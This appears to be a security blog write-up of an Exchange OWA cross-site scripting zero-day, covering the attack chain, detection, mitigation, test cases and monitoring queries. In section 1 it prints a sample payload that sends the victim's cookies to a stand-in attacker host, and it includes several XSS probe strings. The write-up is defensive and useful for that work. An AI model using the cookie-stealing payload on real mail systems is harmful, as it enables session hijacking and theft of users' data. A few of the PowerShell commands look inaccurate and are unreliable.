Vulnerability Analysis

CVE-2026-42897: Microsoft Exchange Server XSS Zero-Day Actively Exploited in the Wild

Executive Summary

CVE-2026-42897 is an unpatched cross-site scripting (XSS) and spoofing zero-day vulnerability in on-premises Microsoft Exchange Server, disclosed on May 14, 2026, with confirmed active exploitation in the wild. Attackers exploit the flaw by sending specially crafted emails that execute malicious JavaScript when victims open them in Outlook Web Access (OWA), enabling session hijacking, credential theft, and browser-based lateral movement. No vendor patch exists yet — only an automated mitigation via Microsoft's Exchange Emergency Mitigation (EM) Service — making immediate verification of mitigation status critical for all organizations running on-premises Exchange.

1. What Is This Vulnerability?

CVE-2026-42897 is classified as an Improper Neutralization of Input During Web Page Generation (CWE-79) — more commonly known as stored or reflected Cross-Site Scripting (XSS). The flaw resides in how Microsoft Exchange Server processes and renders certain email content inside Outlook Web Access (OWA).

When a user opens a specially crafted email in OWA, Exchange fails to properly sanitize attacker-controlled input before embedding it into the rendered HTML page. This allows malicious JavaScript to execute in the victim's browser within the security context of the OWA session — effectively under the trusted mail.example.com domain.

Attack Vector

The attack chain is straightforward and low-friction:

  1. Attacker crafts a malicious email containing XSS payload hidden in HTML content, email headers, or embedded rich-text elements.
  2. Attacker sends the email to one or more targets using the Exchange Server's own internal relay or any external mail source.
  3. Victim opens the email in Outlook Web Access (OWA). The XSS payload executes automatically in the browser.
  4. JavaScript executes in OWA's origin context, giving the attacker access to:
    • The victim's OWA session cookies (if not HttpOnly)
    • The DOM, including access to email data rendered on the page
    • Browser-stored credentials or autofill data
    • Ability to make authenticated API requests on the user's behalf (e.g., forward emails, change rules, exfiltrate contacts)

Example of a simplified malicious payload structure in an email body:

<!-- Attacker-controlled HTML in email body, not sanitized by Exchange -->
<img src="x" onerror="fetch('https://attacker.com/steal?c='+document.cookie)">

When OWA renders this email without proper output encoding, the browser executes the JavaScript.

Real-World Impact

Microsoft confirmed active exploitation in the wild at time of disclosure (May 14, 2026). While Microsoft has not released details of specific threat actor activity, XSS vulnerabilities in Exchange OWA have historically been used for:

  • Business Email Compromise (BEC) — attacker silently creates inbox rules to forward emails and maintain access.
  • Credential harvesting — fake OWA login overlays injected via XSS to capture credentials when sessions expire.
  • Lateral movement — pivoting from an email user's compromised browser session to internal network resources.
  • Data exfiltration — bulk email and contact extraction through authenticated OWA API calls.

Given the confirmed in-the-wild exploitation, organizations should treat this as an active threat requiring same-day action.

2. Who Is Affected?

Component Affected Versions
Microsoft Exchange Server Subscription Edition (SE)
Microsoft Exchange Server 2019 (all CUs)
Microsoft Exchange Server 2016 (all CUs)
Microsoft Exchange Online (M365) NOT AFFECTED

Key scope notes:

  • Only on-premises Exchange installations are vulnerable.
  • Organizations that have fully migrated to Exchange Online / Microsoft 365 are not affected.
  • Hybrid deployments (on-premises + Exchange Online) retain the on-premises server exposure and must apply mitigations.
  • Any configuration that exposes OWA to the internet or internal users is at risk.
  • The CVSS 8.1 score reflects network-based attack (no authentication required for the attacker to send the initial email).

3. How to Detect It (Testing)

Manual Testing Steps

Step 1: Identify all Exchange Server instances in your environment

# Run from Exchange Management Shell
Get-ExchangeServer | Select-Object Name, Edition, AdminDisplayVersion

Step 2: Verify your Exchange Server version and Cumulative Update level

# Check installed CU and version details
Get-ExchangeDiagnosticInfo -Server <ServerName> -Process EdgeTransport -Component ResourceThrottling

Step 3: Check if OWA is externally or internally accessible

# List virtual directories exposed
Get-OwaVirtualDirectory | Select-Object Server, InternalUrl, ExternalUrl

Step 4: Check if EM Service mitigation has been applied

# Check applied mitigations via Exchange EM Service
Get-Mitigations.ps1
# Or check directly:
Get-WebConfigurationProperty -Filter "system.webServer/security/requestFiltering" -PSPath "IIS:\Sites\Default Web Site\OWA" -Name *

Step 5: Attempt basic XSS probe (controlled test environment only)

Send a test email to a test account with the following body (controlled lab only, never against production without written authorization):

<b onmouseover="alert('xss-test-CVE-2026-42897')">Hover here</b>

Open in OWA. If an alert fires, the server is unmitigated. A mitigated server should strip or encode the handler.

Automated Scanning

Tool: Nuclei (ProjectDiscovery)

# Install nuclei and run Exchange XSS templates
nuclei -u https://mail.yourdomain.com/owa/ \
  -t cves/ \
  -tags exchange,xss \
  -severity high,critical

Tool: OWASP ZAP (Authenticated Scan)

  • Configure ZAP with valid OWA credentials
  • Set scope to https://mail.yourdomain.com/owa/
  • Run Active Scan with XSS rules enabled
  • Look for findings tagged CWE-79 in scan report

Tool: Nessus / Tenable

  • Plugin IDs covering Exchange XSS will be updated post-disclosure
  • Run: Exchange Server Patch Status plugin family
  • Expected output: Flags servers missing the mitigation as vulnerable

Code Review Checklist

For organizations running custom Exchange Web Services (EWS) integrations or add-ins that process email content:

  • Verify all user-supplied HTML content is sanitized before DOM insertion
  • Confirm Content-Security-Policy headers are set on OWA virtual directories
  • Check that HttpOnly and Secure flags are set on OWA session cookies
  • Review any custom OWA apps or add-ins that render email body content
  • Confirm Exchange EM Service is running and mitigation CVE-2026-42897 is in applied state

4. How to Fix It (Mitigation)

⚠️ No official patch exists as of May 16, 2026. Microsoft is working on a fix. Apply the following mitigations immediately.

Option A: Exchange Emergency Mitigation (EM) Service — Recommended

The EM Service is enabled by default in Exchange Server 2016 CU21+, 2019 CU10+, and Exchange SE. If enabled, the mitigation for CVE-2026-42897 should have been automatically applied.

Step 1: Verify EM Service is running

# On each Exchange server
Get-Service MSExchangeMitigation | Select-Object Name, Status, StartType

Step 2: Confirm the mitigation has been applied

# From elevated Exchange Management Shell
.\Get-Mitigations.ps1 -Identity CVE-2026-42897
# Expected output: Applied: True

Step 3: If EM Service is disabled, enable it

Set-ExchangeMitigationService -EnableMitigations $true
Start-Service MSExchangeMitigation

Step 4: Force immediate mitigation fetch (don't wait for next scheduled check)

& $env:ExchangeInstallPath\scripts\Get-Mitigations.ps1

Option B: Manual PowerShell Script (For Environments Where EM Service is Blocked)

Microsoft has released a manual mitigation script for environments where the EM Service cannot communicate with Microsoft's servers (air-gapped or restricted networks).

Apply to a single server:

# Elevated Exchange Management Shell
.\HealthChecker.ps1 -ApplyMitigation CVE-2026-42897 -Server EXCHANGESERVER01

Apply to all Exchange servers in the organization:

Get-ExchangeServer | ForEach-Object {
    .\HealthChecker.ps1 -ApplyMitigation CVE-2026-42897 -Server $_.Name
}

Configuration Hardening (Additional Layers)

Add Content Security Policy headers to OWA:

# Add CSP header to OWA virtual directory
Add-WebConfigurationProperty -Filter "system.webServer/httpProtocol/customHeaders" `
  -PSPath "IIS:\Sites\Default Web Site\OWA" `
  -Name . `
  -Value @{name="Content-Security-Policy"; value="default-src 'self'; script-src 'self'; object-src 'none'"}

Restrict OWA external access while unpatched (if operationally feasible):

# Temporarily disable external OWA URL if external access is not required
Set-OwaVirtualDirectory -Identity "EXCHANGESERVER01\owa (Default Web Site)" -ExternalUrl $null

Enable Enhanced Security in Outlook Desktop: Encourage users to access email via Outlook Desktop client rather than OWA while the zero-day is unpatched.

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Verify the EM mitigation is in Applied: True state via PowerShell on all Exchange servers.
  • Scenario B: Send a controlled XSS probe email to a test account; open in OWA — confirm payload does not execute (alert does not fire).
  • Scenario C: Verify OWA basic functionality: email read/send, calendar access, folder navigation all work correctly after mitigation.
  • Scenario D: Verify known mitigation side effects — OWA Print Calendar may not work (expected per Microsoft advisory); confirm this is acceptable operationally.

Security Test Cases

Test Case 1: Verify XSS payload is neutralized

  • Precondition: EM mitigation CVE-2026-42897 applied
  • Steps:
    1. Send test email with body: <script>document.title='XSS'</script>
    2. Open email in OWA with browser developer tools open
    3. Observe page title and Console for JavaScript execution
  • Expected Result: Script tag is stripped or encoded; page title unchanged; no console errors from payload execution

Test Case 2: Verify event handler attributes are sanitized

  • Steps:
    1. Send email with body: <img src=x onerror=alert(1)>
    2. Open in OWA
  • Expected Result: Image renders as broken (no src), no alert dialog appears

Test Case 3: Verify session cookies are protected

// In browser console on OWA page — check HttpOnly enforcement
document.cookie
// Expected: Session cookies should NOT appear (HttpOnly flag prevents JS access)

Automated Tests

# Python test: verify OWA response strips XSS from email body rendering
# Run in controlled lab environment only

import requests
from bs4 import BeautifulSoup

OWA_URL = "https://mail.yourlab.local/owa/"
TEST_PAYLOAD = '<img src=x onerror=alert(1)>'

# After sending test email with payload, fetch rendered email via EWS/OWA
# and verify payload is not present in raw HTML response
response = requests.get(OWA_URL + "?ae=Item&t=IPM.Note&id=test", 
                        verify=False, cookies={"session": "test-session"})
soup = BeautifulSoup(response.text, 'html.parser')

# Check that onerror attribute does not appear in rendered output
assert 'onerror' not in response.text, "FAIL: XSS payload found in response — mitigation not applied!"
print("PASS: XSS payload neutralized by mitigation")

6. Prevention & Hardening

Best Practices

  • Keep Exchange Emergency Mitigation (EM) Service enabled — do not disable it in Group Policy or firewall rules. It is your fastest response channel for zero-days like this one.
  • Migrate to Exchange Online / Microsoft 365 — Microsoft 365 is not affected by this vulnerability, and cloud-hosted email eliminates this class of on-premises XSS exposure. Use this incident as a business case for migration planning.
  • Apply Cumulative Updates promptly — organizations running outdated CUs may not receive EM Service mitigations or security patches. Maintain Exchange CU currency (within 1-2 releases of latest).
  • Segment OWA from the public internet where business requirements allow — reducing external OWA exposure limits the attack surface for phishing-initiated OWA exploitation.
  • Enforce MFA on all OWA accounts — even if session cookies are captured via XSS, MFA on new session logins limits the damage from credential theft.
  • Use Outlook Desktop client as the default email client, reserving OWA for fallback scenarios, to reduce the population of users exposed to browser-based attacks.

Monitoring & Detection

Monitor for suspicious OWA activity indicative of post-exploitation:

// Microsoft Sentinel / Defender for Cloud KQL query
// Detect unusual OWA forwarding rule creation (common post-XSS persistence)
OfficeActivity
| where Operation == "New-InboxRule"
| where Parameters contains "ForwardTo" or Parameters contains "RedirectTo"
| where TimeGenerated > ago(7d)
| project TimeGenerated, UserId, ClientIP, Parameters

// Detect OWA logins from new/anomalous IP addresses after a potential XSS event
SigninLogs
| where AppDisplayName contains "Exchange"
| where IsInteractive == true
| summarize LoginCount = count() by UserPrincipalName, IPAddress, bin(TimeGenerated, 1h)
| where LoginCount < 3
| order by TimeGenerated desc

Alert on Exchange EM Service stopping:

# Create a scheduled monitoring task on each Exchange server
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
  -Argument '-Command "if ((Get-Service MSExchangeMitigation).Status -ne \"Running\") { Send-MailMessage -To \"secops@yourdomain.com\" -Subject \"ALERT: Exchange EM Service Stopped\" }"'
Register-ScheduledTask -TaskName "Monitor-ExchangeEMService" -Action $action -Trigger (New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 15) -Once -At (Get-Date))

References

Latest from the blog

See all →